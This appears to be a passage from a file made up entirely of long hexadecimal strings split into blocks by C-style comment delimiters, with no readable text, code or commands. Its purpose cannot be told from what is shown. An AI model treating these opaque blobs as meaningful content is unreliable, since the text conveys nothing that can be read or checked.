64e69aee22613fb434f00129ddd77919b0d6d1ee3f7119ddf733896631997a96d4a1e55f0a4382df71e0f8a696b284cd5a217b2c81bb2664c9e144b25618d5e24e810a43b8ab64c1ada5987a9b9f5774da25ec65d4bb899da7f343488d5e69f698fd87d403f9578401cb25d36bf32c7d8755e8c7e6533096cac624d0e01b342ac5b1cf4b090344425ca0062458e3a0b64b7918fadd802620a4958d96e03a852e415125c2d15a1263a4387ea6b6c80b4d4416a2c6de5bf4facd810fb11afe2bc742c1ad8e66f69f46f1778463ebe294cb29c2165b0ba95440b560de78258f886314b9ad4ae8b17a345b354c16f8b883db6388cac44b558902986d93ab303ae09952e5a745eeb22c9d7489cb80446905d97485a2f2295cc746161b1ea66666c7dd7e76b42f45d9ebe386999583651f5dde5748c637cd467bcbbaa1427ead949b0bdd8d882c6c58be4d8a5a28f35e1b05c66f937aba88d36b3c4c371c308197219d7811ecdb367a3e365bc15d08f924fa4618cd0f612ee7843a3236a3a06f015296b3bab88310d530db7315ba7f8350f5f02fd63b0ad52d4278d2ccf864cfe3b040f548564e2a9e91aaaa75c8a1141543ce2997efeba5e764070c2a17098c441065e8b9bdf21d25676f3a1496c193061adc59f8220454fa06ac2266cb4a350b01641e*/
/*856ee8ca5a0df26aceb32acade87724e80efec6b5e425cfc4370e9aefee4e7409908b69f54944928112dfb53d5711c9dea2cc4969be77c94c2c82a70e1d6e6ada527626ba07094df2a650fda68f84679ac91fb2e1f9ca5f68611d7d5ce291972e9bd9b63ad42f1c4fc24c86ad16edddab6ee49249abac395228b0ba0b52613276f9acb31b050f267e11e64192d9d25d8e0a1b3bd20c982548b65055c5931f8e023ade5ac21f2f6e0ff32d552a90336269ac35e4a5185644e00bd61076028a6d74098df927f2a2cd0023b12f96374ad280f7eef27600fca7caa71e917a83be96d8e30442d16f4fad91913270df09b8bd8a019d641788871205b0aad483e29fbff20515e6232dd65719e6d30a0192c313f38ec55db9acc0fe0dfdd434c8aacaca51058fd317e56af90f88a7c5c5ac3fcf39fc528174453128284a55e31bc7b9cc4e0f29b59360e04a7db7f77c00d5aeaed10f0dd636975722ca9652cc8c0ee675d1b1c6454830509bd5bfb619581715326495a4d7251f471b9b5c4d2dd68572349d5cc784ca5a2193885077fa1ef282e86ed8b034928f6e08baf84f5a8690c71d017d09f0d854c0690a37e564dfcd65c1b81366023e5823cb2c78516c666500a718ed904fbde0003a016da35201f368d5dedccd681cf7096ba28c17457ac41b90dff8a4ddb6cb074e10e4cf511abb393df2d2280a6f20f299a763a4849b29e93a3bceb5f1d99cdfccc7b95bff935730f2d70fe66322f1ef68613f594a61495535fe6f31b682685f1a99b27daa45594df8e4f2f29f5d2e919134eb4111726ea85e1d787b792d54a9dd9871f72666b187cc84b5f95b7b1d8eaefd994e37fc510fc3a71fc74a03800e42046f7ddd0cf2dc5373008144eae100873f8f4bf397bfd51885f0ffdee82f1bd6c94efd7bc015dcdd0e092aaba79383bea65e5a2fd4bd25fe9271a469285d15164b7b807b0dc788adc6b2619ee5a0d67a7b88886134c4da2f62e88bc25fe8d077436ebe13ea3fd039facec9f8311442fa08395a86c5b1c125e35c9af0c195b4ff9c7913c67f9f669f28cc3fad812fe13ee96065f1c1ea858eb26046716a60c8bee501315d0aeb18f871da63f1698a236ffa1f57388f049e6a58d0c8212ac36ad4411db9068332733e351e11912e323e895910454c8c7573a01cee04cb81cd2f6be56da5891465b8052a06996e6fc2ec4e48101d30f263f41c8361e5a0d3ffc204714b421595416cc47edd7a6e413ae974880a5259c982d351fc7ad466f6f8e60ee9e4a4f858ebe576a472082b9c395def51a9aaa8140cc1bc376e09fa60ff166ec1661f1b4cb288a8164a6f782daf90eab0f495516177b1d137058831c95c4308aa136fe3dcb8e8505a3160c4079c6045d70fcfa6b245ed0194c4fdc91300506263a273bdba071435a6b460e298fb16f62016725e82fc46e213c481c74f684c7cf1eb2d227acb53907b0031367ebf750e23a6467a27e1dd350493f32f43faa7fd4e77764d63344135bcbd2bed5a383bf27a94f0696429d9ed066bec9f7eeb96c19c3ee5926292cb4472a4cc088c02d3b23b64326783eb6f173fe552f59200fe06fdb5a03a2636da32a48d4718ec626d3ebf84a04378ebfd456e9dc735da4e063b207d524c9df987bccb51c3c46f46792cc80926aab41b6ed57785aa3a42d5de554a3b77333af530bb46dd161e10c4bcee50e8519a1cb34a50ae3a96b121190588a2f18d7f21e2be8a7f7cd2caa6a6f6295ed9145414a356c7e89984839d0520d7ece8febc5f78c04479b4719de137bb044865f549cb78cb016c975b8f18253809cead0d368a9f33922c0350b652e5a06398c7ff4213279f52c9369e3fbb5602355d56c0c00ec26dea60082794bbc46cebd2cede6a959be321d129f9ba6e73d4ca00d40d22acc1d0e64657b9fcf86caf2e37ec3bb4f461bcd5964f3166ff43cd10006ae8d5ffbb8f9b551c6838cb90d196d8f4d1ddacab956ecbd57e1c52fe594d4d3191eb10aac7703fb8d76fb137ecfa138739d98fda84065af0a2be87f4a2fddd78a03918e99a4460e737367e27acb9f325beba9181d8e5c98746e5e96cf8578c6a48829458a14e1acc38336d159c7bf5d2d0c1d50b7df7e88caed9f4b4d49c1d1cde5a952dd9b3b7ec8f44148d85efee626800dfda1ee8dcc0279a1cf65dc09615827d56d16a2280ea7844d74bc769c06bc2e3a1a47c7bbacc7249b25ed45b99d76f15bc68557241c3f2d2baf5d2a1e7e361b6efb30937704f9901525dd3aa363a953ee1839f9cc6e03ab4660287831dfe573a7c31d6ff2c2cee7b8e411030fba7476eb3d128e4e80c895f4c3ce7f90f25faa315691834c075f7911ff44286aa4eeff178d5dc20384040db9dae5f5d081cc7ea7dc0776a8ea87a792733e7e165b7e2d8c3b300b283495bda058a107652a33808b6664a4c0372482b54fbf2ea74daefa6591d8b5499f63ec47b992209002ebb5d1df7e3b4471b6fbc4c91940e7f211091ae1b56b8347f6e15264c2215e8fc94110284b0d2890ce6c7b1468263d0de7a9777eb956f9f3495958a6c8dce04ad198563dbc744faa65baab04f6dc718cafcb6cb3db8f76683fb4df335ca9dc2b559f21a888ab221281f807ea0db3a26bfa41084200c1a678cfba6972beb61cd7b453291d3b2afed2ed9da1ec9dd360c3048c7ec9126c1df3eeb7a58daf988b43fd116d196a909a30ccac3a6adc3259f62b180db696a4671e1ab5405df0f12f91147d2c9e577bad92969d0e52a9b9f04775fe5021b77d0ee1f3a37eb34f905d4532019529cee11f0a1c2417138ede2f8406795fa8706eec*/
/*6583c18086603d88c56d468453f480c4141c2028973d7f3aba6ce7fe6834464a6847ea548a87999f1f926a8628a06d7b4c9b298159e0fb8f619a3b25efdea9e43a12f8dc5e0c9bb089d56bff659d1a0a5d8c3cf21ac70604dae85365f600649ce226fbbcd5086f6a1a3e4cdcc27f41d07580a204e125bb43b91bddb4d8277141b16e890b164c693c13ec3e70d039de615851de9dd5a9cb87ca6e567ebea98832ab8dcd66e3aae5348826d44e0859fe11e73e769b435e1007c045f6fcb05aa62e6c74740fc2b0f33e7b29ee3591b8f8fc449433166fa1877caf563022b8be976df4f5b2c6823dc486ae5ff0b6d6f5bc11c3c927b223a71301d734f397db1b5fd4427e1b2b3e3f0040d45620438fdb2f681d6a2fafdc81e351f6dd05030f6bf87a55cb1a03c13391b632b88d9727e9e8b85f5dfad37e0fbbd327ca73cdfc4ba97f9a6592f1e05ad3106c64120ab9aee2ea8cbf477a7a307dc942d32f86fbbaf43af87159bf28f41d1fb33ba4520fa52eb2b16f76ae1e07df6b16b7b0cbd8de67c040d97423873ab717fe7a625e96ae8cbb9e0c329ff035e19171d8365d1826d70228fa3c83fbb328c700f86ea4c46c227f549a879ae7f3919e889bb877cd77968feb3c248417e1c09578984016dc0e6046dc85e44f16e33cf5cb3f2aa26517bb23407beac45386f9b36be75c57498e0b42a9e15a95bfa9bc389dce72d5131be445962e8ec3663933a18ed362e204b7504ffcf8a75c4efa739199d13cd3857bf77fc49655d71a8e07b1458f77ebcf31ec5c0c20f63fc7552a7ca8977822372ac1cf99718fa27e10c06c6e61d42f30fd25327d39f49af597e644d405d0358a0b61e00661ab8acab122dd505cef865d8e889d00bff0555bf76ef570ef0f9b9e95a4074d6950b1cdc320a728956b427d1cc760e7084793d519ddfde7b621257ff032dd8559ef69f87cc1cbbf9e6331dc88acdaf017e1d6c7d188d9caa7cd6d717f3081a689c0a7402bd17745da064e77452368258d15f940d24975a4dc8d86cf2e1b8ee5d68982d1ce98ef3089b077b688827e778168877d29ea102d26341079d40787ac087e14abc3e74633ca8e1b14f09360b0063a401c909522caebc263b76209f4c4506d63b6491618f20497a87b3c1f6dd142c4a804f449150cdc24cf855ba6b9e7ebc8ff814fa1c9bd7e6559a951962e2bbaf3fe79c134d5c8db76f92e7d950fa06e91e2eda8e95347a857a6faf4278280a4761d29922dc78c4ab6720d681754c12a271a54244a62a1c8e9a2f70aaa4308c3dfe80f08c88133b5d61b6783712f8df057b36ef3746beb017cca7ad8d4f490dc251cf3facfb2524ec6bdcb5119199a19288a354bdb84b3f5800b07db410bae45e2a27b5942eb13634c943a1739ae2b9a60061b99f592cba17f6981c1459ce81e8db3b180d34d692345daa07c5b1d81111b9789e1956fdcc5e94d384adda1081096909e370804d54dc0ef38ffd70f74824ea1e6c6cb90a596434acbcbae962bb5c6639f989b31047d310d3b04567c7769bf675ca28e617e52cd60965bb1517a67bf7cf22e4996b6b97c2819d42cba4232d7b01b9d3292d771dfbaa108b237d75cbd06c92ac08f40b28684b64187e58064c5cd089854b94d6a735259f4becb5eba37d3ba2914bf349caebd27e411cd0a375f38caffb033bd04363fc14c5c15d2d8f82bc038229de8278e9409ba4a3b36558e04fb3d0e5b39fdb20cd9e8dec7ad77b5c45815212763af9bf91a07eef27df9a4a7fab702aeb5eff0544af789b0db08b14db095a39aca3f9278629f0c2e65e20fc11b6593a79d5099f661375088ca7a2f0993015de80ce04acf32139190a88d915579bb70e9bd472b976a62a4779da458bbbed39c8ad927d48c412b2102445067d330e29e1429084b0e1936ecd0b5862c764611d397f0796a722a793cf13b5b7bf5ab83a39c31038764521c679715b7691601961c332d3bce8645a7af35fcf0cf27bd3f692b014c53464a655cd029be51d1a58eb32b29a67d41727dc321381021cfdc44a6f7db5ff3050d68648258e1a582c22d47f26a7c15ece2548583fa2df80a3d469a8f225156275373f9d572ff2caf85398b66e8eb05942e34714b8214b09caa748c4acdd0b6220a07b3e84e714d346156166d8bb71ceebb78209d6cdbd8c45c0b40c46310889647c83aff1e591c21756744647880e18159cbd2930432cff57f7d69ed9536dc06c516a3899b1dcfd851182c17758dad61ff018f61c92ede9f19ab1b74c3dfe41214677a5a4c94533a33587d9c231a7151200df590da7aec0aaec5540c06c97df56777c0aba2954226ef69daa51748b9ef01f673d41b77490477db355e6ca8ce4ea1f686c46e39181ec8b55400cea34cb39b70ca41f67f37dd27f55d9d4244b15995d005976ffcb5b24c243fd89669ec88082e6d5b1ec9a5c2ecc3fd0e69610d8625f81b2b79aab3286c73fa4b8fca61eef690a44932b2be4bafa542daebdaf14191dc5868bbdba2914982c67daac2ceaf5352d47c2631971613990511556abd6dc8ddde99b786e0b7ebfe55d17fbab1bd0708b9db37d70a82db643168c8548bb677e2da1369b10b205bb4c7fb7ed7fdba4a77f3ad88107576049d37df8e4069c877f8e84bed6e06b8503dec790cf48095ff4d7809b7bc31465d857bd19e8334534bb6f9a2424b01a6a15138c68b8c6a3773c1baea38ba6f739fd597f21106cb883578174a70f06b49270dbd24bfb1bf9b4369694dfdb45c31b80a024318e9950a9f4194e4c0aed20f000a34959eb3a0e60b84a6ef42188a2aa5ce2d416a53262f3854737a*/
/*136e91917194b2869dfb310074ff4182411f7ca92e06ee452247183c02124f7067bb2e9cd4a059d9ce8cb188a8e3e7f0bfe5546dbc26191bf4945774cdd87bb93409398b13b6aaf63a8f2326ce2bd5fb96cab9d5d6ab827d50ee13d4beb422d37fdcb4e52f5d786797c7d01521a26477e37edd4274afb71a727a5fbdb5ddb93b00f2997e7680a3d0e357d42800e432788c7b281cd77c56ee55b44d02b5263a9135e607fc10c76fa313ae97903dc3c49410014144fed2b108b41e213c9de1fb6d5db50aaada3deec6f97af6dd2cca20e976e10d8a8a7ac7adff287f4c5f3e6e7262403105516bd2a071d7fe41a591f4222ad1f6c61fd2749ff09a15901938bcfc2c9f631942f6acba09853fe4bfac243e25d619785b3894bb6fcf5defc8303a7a19d1c1fee4941b8b9da24e877393639738bf0b9657ef1cff98d1c40eb40e4a2824445592ff9ac845ba3843d24c8dede2211d73f2903f22381b537ff0bd71554ff2bd49a2eeb071488a8f31f8f9741302d2fa4e9cf7cca5a5ca4622c30f324f20b06f126b29271943f540c38d01e81f407c4e22ca47104724dbdc5faf9612c3f4fed9643828cfcf1093db55388aab0211d3d260333c08b2ce0cd41782e637eaa22c2cf954be1b300d4e8ed82af3c780c895765bb843930febcac9373dae8512b49c6ccf2995f919505b76f8859ac51e333a008e879027384b37745984918903198f0227571548ce891b0ac0bd9ee47e772c4d283a17fb1dd1b22efe64172b2ec29a8e417bf64f710f34bb2582f71ea08385d3ab77cd1e2aeef713f1d32c4ee9f00f077e5fce99a1e2f4cf96b4c06b37e476669dca947951be02e1a2e465d956642c8865547057a2b71921fc873e6d5d41e36d5aee92614678d9dc04ef12a7524ba32b083ba1237ba173d08fdb0346f9f0bb7dcd38ee80e4e7bed1e12866c919a6cb52c39319f6830ea43675c509aa6e9f15a6bc3415e90284ee340173e9301d6b96c608e269aa532235dd536102843c337697966b1020497feece4c874d58bafbc2ca8c3a536d5f06d984538ae40d5872bc291ca8ae7e0f76c5029c15c6ada7fb0df009e6c2ae9c30663d7432d6188abcab03fa3cd4d3c12704b2c025189fe7cf392bad9ddf9c598aed8bec81b73986afba1b3b8b2334b449965ad2a41266b5c61cb751001725f8208cb037c62af412f5bbad979f3316e78f288225205bd2b08507b74220f29f952589c66fc99817c08d51328ed90c0205e7c9379681a23d15ef92d4c47bdab9522ca223842fcb8173de9c3dd625e959eabd8b20a95a0f0d45b2156c8593328633b97a339f9568124fb0a0933d1626427a5aafb449f960cea0dba762b6f881dda45e14ade7cefe1abdc410b70f259c3c6a3b91305c839351d5e91f1e7730c183fe8ceab382c04592cff949529536d11ad5e38154828b26752958fc59cf1b9d63fe48eb2025bda8a6d10794b32ad64d57885594fe0a3319db6c12a2390be1c472438bf616eefaea10331342375cb52738e9e6bf6ba14fd1dc368c65286b129eda61e8f20769c0edff6fc9cc970b42f9ff253b3a2457de45276d2ec63bcd532dd95af178bfdeb2127adb7e4e224497b223ca1040754f29c76251278c7747334ddd37d31ea99022cfc89ecd67b3ef16b9de041e30cbe7051b16a9be9009675b13570e65401f6c65d14257ca28b3174cfca4a325488553848372597e906f802fd4acccdb7ef9050f3e568637764bca75e731731899a9295046cee742d85c69e0ee0e1c5816b61d0b1861669460298a7275123da8c9a3434c8734f45ab44c0dba636beb3478e4365e02fa3c65795f03bfe1a48b74584e8715c183f4c3a63a92b1b93c0fa266e625eeebfcfdac2559247dd755f5c89f124b91c25f15e1ac9744606f6bdbe77a7e0e147176f2e1429358d359525b7b7e8cb927ef4cf50bc0dceeef0ea9856e453e95488191c2537960fa1a9df9932693756925edd0a91e3a3396ab2d750929b9b93a1ad88a560e2530d03e2c8dce2d19b9bbc6e8b9e15979ac9776205645c6ef5603603ed977a62e5982d8e404931a8c458cacb8f96f2e1717ddc7cf1b40fda1a50cbbaf6ab5d27f2e78182de985c7ab77ad8eb3e33e8a0a278b7a38d4c7cae2a4beceea2a5d317678d8e45c3003a31089e77b85d099afdc2833ec12890f07cad456d26d37ad5287d3a3998d9f00450783ee85174de8bec31d9bf2555f3ce4114fd181fc3c993ec91abdf48a576461f3020e6e44f9785e49d873fae6ab36928f99afb462c85f585cdd3ef24afda2ac42ab0bc6ab383e11ee8843b26c580fedd4b1b16d48a3621ad7a59bcafb893c1b3c4c4f1312b328e37a4bf711e440c9d192c79e5cbffbf6c037d0afedf1f367d404f1a65230326c2dc9ee219b83530acec0d18e52a80088761ae3a1075bf8e5a766d048812836db3c5483c1d2212421e9262768596defea10f142a4432860a8d955634df11764136ca8c858b6cafe38183d1a339b15498f88d05a9496387ba8bbc90c7a8c720a9733f02cedf451ae6ae992f96d0c790d4c8995c8f5abafab87b63012b96f66beb416aa2e75fc1ff99b22248d840cdd8c84aba4a5c8b924dfc604d2054910c2024e797cb08928085c4f7a3046a76379f42b607f69373c0f06c0cd6c816d6044a10f504498ada12579605bb6ece98b809e9f804be48a2626f264fc09b699bc30e0dfeb74c0f81816efd1bc24c10cc6c89e931bb87472d92570b82e282198658ad5c21e98be065ef5454b8c64ad3d371d475f51e27a1d4fceac788f17a0b8133fcada3b48ad553a729a271a87f6be8beca85332*/
/*46a1ba9cf2a6c264e6719b7b90e147462f964f86bf1fa67b6ad074bff4b04cf05f836c478f9512e80c9f2fe99540f05f389e1c3315598563b06600aee009b4c2f8b41fef5f81c81ea8bf1fee29d9fd3d8065c06abd4bfc42266d8b47922067c5e4b938858d476140ac8b7f02eeb3c000bcdb6ca2506b9fe1f0421de8ccfa079c2ba861917a3443d76c06d18b1653f0fcc368418a527bfec7ff669b94b54b5f463ed2ec1ebf0a33af632365f2161366b3634e85c5da96fedb3ae058174c9c66782bf25ee0d19d44c42567b9a934a6fdc40656ff04a6e25e16149761100c888ce35581e9289677d64bb59c4240b2c90842ca6a9b6024b5a01be061a2ca9d7b0341305b0cc957f3078c9ec281f54d90efe9e17f5a013f6a2c463567bcb787c192ad82f8fc45cc1eae3d1758dc3fa4df522a3d0c4bd3329027c1bbed458c00acdcab99db181cba4abc217f5d3d7402ce463e5bf7219525ad767e19b7b13310f7daf759e943ca39054ba472d29284de947c999ccf45c5ac9d3f083340f8656763e1f17dcb1370ccb3f33e9faae23ad601ab42b849f57a6e4b105a5ce63ac2679c55d7ea9a2522b7a9bc0de7ea922388edd7ed56d78f8869346f38093ff6b35b45c090766f3cde3138e77442ff17145e9cff70e817d6b0b23927fb1fcfeac03cff06e04387c586ad998bbd8d02f34645e8224c9e3e5dc5991b9cffa62dce0c4edc1c4bced1ce4678dd702406c2151e2154b51d2eec932df20389189c7bbad3c051b41d97e20b9ff242b12cce73b977947e32821ca0224238a13fcd05f9cf6d38460c26fa96e536b98039389baa41106a33aaded010cf3972cb45fbaddabae2f4957a4e435bbd4acf0afb589c55a170c45dd1c3a5ec520596109779e99aa33506b345ce16619210557de5d64a8b5a393610733003531862c6cc13586118d658e4b6086a6e27a6bdd054087992fc5ae61ef2b984619738a123e40341065a9af74f80482d7c4e487b177c92c66af54b885b45c3d79dc045cc2e6844588e4cf0216df877af73569c4541c2637ac8003c762d7dc034e6b0cfe9e405947d2c32fb4fbcaf875189bfcfc387a55980a51681afcf01ec29a603f8cc7354fc7b025d6a855f89f7d0bdb8cfd57d2ad2443720f2ddb852e8a45a9d3f765a4fa516617af75e74aaf791d87e8f0b0fdd15f706dd1aedf850904fe02d732d1b0520116d9175c40352447ad42feab4764b70608b18c5c22f68c1f0b6b33cb04a5c964347181b7c0e3d8c022bc3ba041c9bbdd2385ab1de73f017c3793bc5b06b77a208636b8de16e3283285f13b6019d9d09908443294d6bb4d0a6427b0ed2c0dd75cd4d1288a7a68fbe4ce8fc9459b3abf03a0313a124d8af354a274ff50c4b568d3c7836ee934c82e3ee52c7d466e7b43160fd6ea6d842c5ac604d6734f0a01c28f9e2a5c7b7e971ba88131f83dbfccbbbaea9990c924f0284d0f3d4c93ec1433758bb3113400fac88f37348f9155ffd436cb777d0e5a643c321531ed2bbd224143ea3a26a88b19bbe4c21d48a57ceeb231dbb665dc67fec6671a8344cdc718f089d7db0b01d34e5e4a9fdd92dfdb17c707edef9ecc8241989d215cf9e78a6e997a75be51a668369eda386ee4f8a8e4d98dfce8d9478cbf8df23bf5396d668c81dbf5ea9fe8a0540886c15174ce6b415f44a10375b6ea9934424e6bd929c74d7478ee04053a08f821240c02f20e0a8c6f3fe59438ab60bd3e7895d0db198465d81e5147986d5673667b8ba130bef32b0ee9b798fc4cb0d5fe18abb5c244f9ec1531ee0a4d6ef5313a2bd783f0cabe6b7b2309ad6e1d0d2ee297f98e515511613f77854914aacefa9cce58c7a7b265735dce7023bca66a760b9f16dda9725e2d8271933565db3b9be6299adaa9b8bc9b45050fd07461fa153e197b4fb24f3c82222aa18e3c456c2991de1b85b1f71aff996e4d8c59d21aa34ca935becdb490dc11ef322f182dd42a4811fed21b51b4ebc7e68da86c436ba313b6ba49ddb245cd2649758f40cae6e44eaa2da9e8ba2ffe20aeb550348a44bf5730cdb26e6999a7ce6b28d771493ac53b8ae235741b72d44f19d1f383d484446403f49432a76a8d355c62d48c1423fb66e86e03a87ba73897a8d769e92cb16d57054a989c726a1cc5ce5ff125dd9e7f7336552e2763ff05a778575c03de2fadb1f9a1c3e34952a321744b62fcc0b5710a9b0026eba54b21bdbe33c21f3ffd5e1fa10ddfb41bfc05dab52276df14e8b4a38ab5133bea0f7af10b240e94d28b895fae7bdaab6156b02131dd5087c74f463b3f7bfe733c8e5279e81f9cdd55f99ec5e3d514ac29f374fe5d01dbad8863b5726a7f79053e8e96d49259438d4024c9186ad792298e50ad6b137a7d48f931c82169de4155f834c6e5860b4896feb16ee6e1310cfca70f5948e4a59cc6efedd10ea76552b655ece555736150727492be883a759b6831ba6dc6421775d50cbad8908da3753a44f6258c8d621cc98298fa76193ac4fad6b79c6351c18630f2d7fdcb0e30f549cd46ecb1bec06245064d01387c471583bc23f6042f84f2c13a104377979e6825510b491ad99b74c34dd1841d1c2796baabdc0e8e0860dcebfa7c85e0d9a193de1b07b382e92b10e65e3a3d55cee86f2162d029324aaa20f6b6f3c8fcf1194a8487af3dab4bdcfbe4a8c34ee7ecfd207c2a4b1dce4fc92a2758fa49840883c6d06a49591954b90472919946c6ad1f15be569d42f0499c9e82286973e49c8afc6fbfc59070989e49cbd9b642cc614986f621638fd90f2badafcafd5041cf95c25180d81066e4a95052b0658a1a836*/
/*00ae991a8fc91be156bd2bd20e98e4613672b885f0b92b65091aa225cbcf433f3602d5e25629a04515a7c5393bf319aa2dda655f7456b3edf52738eaa8a6ca1d222b9fb68f004e50c5e310a79136f3c91273ea25cf17e7f0412384e4324c1a0fef26d8a0ecb4e4325fc1123468bb776be144f092ea72d4dba61b96dc9580e6e0288dc0531d67b34f050c1855b8397eba237ed014fd17571788f4ebae44823a949a5b5cf830f45de1d3dac9c853209e7ee55ec38fb8e4e36a434f55583929db1e325375174ad9ca38d30a9f068c56a06716a97ffb67983db89efc52461c4a75a64553afb8c39992d2c8b9d81ceccc253b7bc9ca3a15391b25e644a4eb2d449586ee6234f7ccf2e2130e644cce1c3db2a5d64c9a2d87cb68c527aef056b2a821f94059690f09c0f81d18343a7446593491f4663bee3cb4355c5b41385b70424e8e9c84747be5d3b74b36879c8f5408c4ca3ae2180144f4f49eaf7d79366701547bff96aa308a38191fe781a56196c88b221dc073af2a1eb1889f6b19cfe08f3a607d56f92286e60724d82afdc23ccc202310ae3330a6754f9ed0759d3c1c65b7747564ea8b6c7aed1c69f12b85f9f46b8762570a6e18745b7da2abeda26b8e7ef8e9d24e1495ae8d64d78d4309b871685405f8e68c56254a2448fbf8bcccae97b1832e48172fe41ba13e301caa11b9060267764b5424baf3300eaeb5f5156a30c4970e75df318401f4d13c0177d49f9fe3ec2c7b3bfe00499e0ecf0686104557c1060814929dabae8af5987879a2a7e6a379d60f49709916b15d97e8990b47c86ca108c76135c37ce0d146ebed5c987b12cd9b07994112d8507d69e198fdb4dee8159a479dd0017be54131e5f58435fb53cfbee50fe2b155164ec7bab4e37670e942f6f11a9a24f9cfd0ce8f8c78c76f7081a1ad7b4b1d37335a6fd94001644a4d3990e4b5fbf230d38a3731cdf7a5cff824b5001ffb705d9093b05c7d751ebd95b0a0dd7f26d2f2b83d2593ecc4434cafd4b3df0454730c3c411df90fe4283fecd7ca6f474a40f5225c1672da1f7d3ab6ff65bd940bf57662fee97c08cdbef69226d1c9444349bd41d523b17ec62d043ce47bf9c83e31605c665e9337bfe0f59e6fc2367e96e3a4d82b3b47ef0e7f27723dc5381f99cce87ba3314fb075605bbddd9d58676ecf8ac706b20bbc9c7a480ee3dcb2cfcddd98425ee73680a047eb1feb88fc3ace6642db071ae6ef9b3d79fee5a8b0cfdc065db2e34381761d75b0d9b38bc05b6e27c4cf91bad188edb5054e4152dbe637a9d7e1213dcd05dfbf6d4a4736b37c5980ae17c07897ad43e09bb92fe914e36c6d10d549f9ba6c6f9230af10f928c4f297e346f4e859d5e20ad517da70315c3b621bec829563b45c044283cbc06f7c5177b55eb8438d7d58076d127273eba448ed874083c2996357c8ecb859dcc8f2c364093c1257e99c12f92513d83f4e174ea4221d867322471024d4b0efd1dd15d8e670f3914c67a65135dd60288f047997ce466e61555dab45092c3022f989efdb3e2d960bb0b59580671600317634cf7d06b2d3937c8f4e135a716e9c6ee7d6d5d6699a13ede8c6089f8da4422e3c7e68df4588a2b1414848a8b475718c356f86613632e964b5cca7bd195a2c6be18ebda6911dc96c6aad4d36c564d25ff85d4d41e998292013a03467539ecea90499cc4ae22e95c40c9fb5bb052edde757cd64fbb9acd425f11951451fb84101bc3913f306ae5c41aa36d7156d5cad720526218f5fd60338190314673c93534ffa8511e5847566ec012fe23fc2be30bfceb7964f7163beb693127d5e4876c9809fc208dc53899c0713f90747727d58fb6399e5ba2952152b024c29ff9f98b9aa99173043514a540c777370ad6511083350f645a416d60845e96ce008d25a70dcc247a167449f374a4e5c053a3ae5bafa0cd22d9bf4c63d283b4512531903dd5fd32175ced6b5f807583b3a1521d49a86a476e327f758a4650199de5f3a09dae70cd3453705a162544b2eddfb1618ec8d1985c22f1f9bcc6b841a4aeb6a3d83c832306b8e534724797109fe2ca67c9ca98ce729e3cf12dcc56071f56501d5808a98abf128c8fd02687909ec1db66066b6156d81c176d314750c4631327e95c8fe526409a498917ce14ba2ab7438bd1ba8cd7953fe3b40c2a9a79c707ab171b6966e7cc168660edc4a8b863d911daf00a3a4a13e79ebd7894100e907719810cf95a9c6c28914885352cb742c7990cc912fd1b1bffccd75308369ee8f0197e10aa7d706f80c46d16237bb5c9dda6ab27435d2336cde2c8e5ab458571655d115740f1921eae2c04a8619bf82baed5c857c570ac98e161e192011dda0b9ab505880fa6dcb6049ba1e0ceff8c24fe73483242ee1f4218216d29bf5b4032d36ae72dce7f1b1499d0f7a59eb65fd46e84d6ac93be43c0da8dd5bde9e457e2094ea4018e274264ddebe5ae5ce266af3b4b1b825f58b5aee7b259767dc6396c10fdc650606c5344dbca8d2c1d8fb205f4fa89c9f59d8afa5caa0e02c65625726964dc2c8f125b8916851ea3e4437498cb577ffc8d3c074c4049e5de5975f6f0812b67946dc69fa0d1159f0ac70743e58e8d346c600f90d178a266883efc4c241e564e8d530de10151b683c6e2f611eef16136ecc2a2e9a001abd2854a32ca522197c5a17e7735c533e82b34b733cd21438e67f892db228658c9abd40e8fd70f0ae1e9611c37e5b4d3797a43c6d7dcb1ca65334578b3de1462fa26c275d48bd99707ee9447cab7681930380e3de31970f7e808600faf4c6a12a1a629c7364bd7acb1d91*/
/*ec359c2b36cff6eb6f9599850046d51c74527d3dce199f315fc510374680fac25c19e98dd5140089200a1d4310b24d70e7505e5c55676a796a5646ce5fbaf2cb7b371a90f9f18c3b400f938e183fa80be938edc02bc4f2338aad1fd1b7bfbd38480b184fd5a1e731492be3e21e3f2b870233548fe7082cfcb0c5cd63fad9858feb2eef98103ef6caea8f1ccc86d683de24cd403bb8ae8aa4c2c3b933a713649db671b3bb1734d2460463439d75a1f86550f4e664d3490e5e69e61577ae582c0751101767f287b995cf638036305aaa97fe10e0f832ea6a68142725f0bd9c2a66bc52fa62b46390d0b04b22362caa7071ec53877e05ba2fb1f2e49f4c6d4481ef68f66e024b64675e671295784040d2d5fe2089e25bfb978660ac2eac6b9b38438f033dafc185398a769c997d2f1bcd713a742289de4427c21a36accb08b4ccd622a5ba39015395a0cfe8fc05e99a7bc70a8c37a35c7203095551d11acee7a206564f8c095ebf63b5752fdb34b738131a1e0d961b923c0110c86bb6f66309e52148525f11a1efb49217e18c31c08a84cd0eacc26afe4aa7ec3c075bceabb5dd20856d3750a6541932febb6b2a2cca204aca75a04a3dccb8d232ee1b073130c7abaa602bd76a157765d5fe5f0d9c6d16b4e500fcc5b7e38b59e9c83b9161525328f7c06104299642c466f6bc586b6e9428ec2b1a70b80fe194e503b0174985902dde218d0ed6f145d6cb290323b21a6b7d0e0a708bb7ed84c88e449bc03f7d981807a5f161a570b554d6ccb875649b3a894ad562c46a6a75d56323f16d85b7a684140a7ff340fba15514b92441d186455919b9fad85bb88c0876b2c8a7e809f019799126a963eebd514d36ac65ceb254fb588734b63a937f89abb3b022697388dc67d13800169f1996eaf2aaba2733c37e164b1adcfb5cf52ebfe8072c0693c1a27af69ee8f02b9307ec678866a1387bfdebf21a709c8faf1014358de0a9d4429f42093a9252441b22d19ce6af76f24a468d31b3c9d728a1811c641986058d35c82cf927032984f4661f87eccecaa6e5c6d171e5b57c544135f4aab1eb188ca5eb844a0e854ba2f5c3532c0a4572af0f1f56e45ade6b9d2216a9dd040130b891f2f84d1a4eb54041bb1012306d7af574f787f82bb7c235a24725447341a9dc324ef3117351f87cdf7dff2ad85bc6318a43fc680bf0ee446d04b636ec319f42455553481293ee205fd41ae9f802a95ca3eabd34e1bad5b9cf77dd746338b00419ff87a96a051119748d0d79e86520ecb345ed2db03fe24186be0a3b398eb94598b30fadcf97e3a4207e489f7b2b904dfc83752a5afcbc3166bed2473cc8fd750d9acbc7f1f894dac66a787b9710fa2b922b46b0606515e7198d0ce35f6984cd9e2f59e484a755f05e102c9249c354181e8204aa8cd177f53ef2e04cbcf38ae6737e94f5e5d79d60285c3a88149f1031fdabed030f209f458a44bd84eb41f6a4ced8e41038499cb60d1f97bccfbe4117df8f124d51cbc